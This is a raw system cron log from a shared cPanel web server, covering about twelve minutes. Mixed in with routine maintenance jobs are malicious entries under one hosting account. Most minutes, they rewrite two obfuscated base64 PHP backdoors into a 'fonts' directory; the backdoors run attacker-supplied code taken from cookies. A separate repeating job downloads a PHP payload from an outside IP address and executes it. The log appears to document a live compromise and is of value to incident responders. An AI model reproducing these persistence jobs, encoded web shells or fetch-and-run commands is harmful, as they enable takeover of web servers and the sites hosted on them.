Sep 10 19:41:01 ip-184-168-122-23 CROND[31619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:42:01 ip-184-168-122-23 CROND[31771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:42:01 ip-184-168-122-23 CROND[31775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:42:01 ip-184-168-122-23 CROND[31774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:42:01 ip-184-168-122-23 CROND[31773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:42:01 ip-184-168-122-23 CROND[31776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:43:01 ip-184-168-122-23 CROND[31967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:43:01 ip-184-168-122-23 CROND[31968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:43:01 ip-184-168-122-23 CROND[31969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:43:01 ip-184-168-122-23 CROND[31970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:44:01 ip-184-168-122-23 CROND[32073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:44:01 ip-184-168-122-23 CROND[32072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:44:01 ip-184-168-122-23 CROND[32076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:44:01 ip-184-168-122-23 CROND[32077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:44:01 ip-184-168-122-23 CROND[32078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:45:01 ip-184-168-122-23 CROND[32175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:45:01 ip-184-168-122-23 CROND[32179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:45:01 ip-184-168-122-23 CROND[32180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:45:01 ip-184-168-122-23 CROND[32177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:45:01 ip-184-168-122-23 CROND[32178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:45:01 ip-184-168-122-23 CROND[32181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:46:01 ip-184-168-122-23 CROND[32284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:46:01 ip-184-168-122-23 CROND[32286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:46:01 ip-184-168-122-23 CROND[32288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:46:01 ip-184-168-122-23 CROND[32289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:46:01 ip-184-168-122-23 CROND[32290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:46:01 ip-184-168-122-23 CROND[32287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:46:01 ip-184-168-122-23 CROND[32291]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 19:47:01 ip-184-168-122-23 CROND[32391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:47:01 ip-184-168-122-23 CROND[32392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:47:01 ip-184-168-122-23 CROND[32393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:47:01 ip-184-168-122-23 CROND[32394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:48:01 ip-184-168-122-23 CROND[32569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:48:01 ip-184-168-122-23 CROND[32571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:48:01 ip-184-168-122-23 CROND[32572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:48:01 ip-184-168-122-23 CROND[32574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:48:01 ip-184-168-122-23 CROND[32573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:49:01 ip-184-168-122-23 CROND[32670]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 19:49:01 ip-184-168-122-23 CROND[32673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:49:01 ip-184-168-122-23 CROND[32672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:49:01 ip-184-168-122-23 CROND[32674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:49:01 ip-184-168-122-23 CROND[32671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:50:01 ip-184-168-122-23 CROND[340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:50:01 ip-184-168-122-23 CROND[342]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:50:01 ip-184-168-122-23 CROND[345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:50:01 ip-184-168-122-23 CROND[348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:50:01 ip-184-168-122-23 CROND[350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:50:01 ip-184-168-122-23 CROND[349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:50:01 ip-184-168-122-23 CROND[352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:50:01 ip-184-168-122-23 CROND[353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:50:01 ip-184-168-122-23 CROND[351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:51:01 ip-184-168-122-23 CROND[506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:51:01 ip-184-168-122-23 CROND[507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:51:01 ip-184-168-122-23 CROND[508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:51:01 ip-184-168-122-23 CROND[509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:52:01 ip-184-168-122-23 CROND[629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:52:01 ip-184-168-122-23 CROND[631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:52:01 ip-184-168-122-23 CROND[634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:52:01 ip-184-168-122-23 CROND[632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:52:01 ip-184-168-122-23 CROND[633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:53:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:53:01 ip-184-168-122-23 CROND[741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:53:01 ip-184-168-122-23 CROND[742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
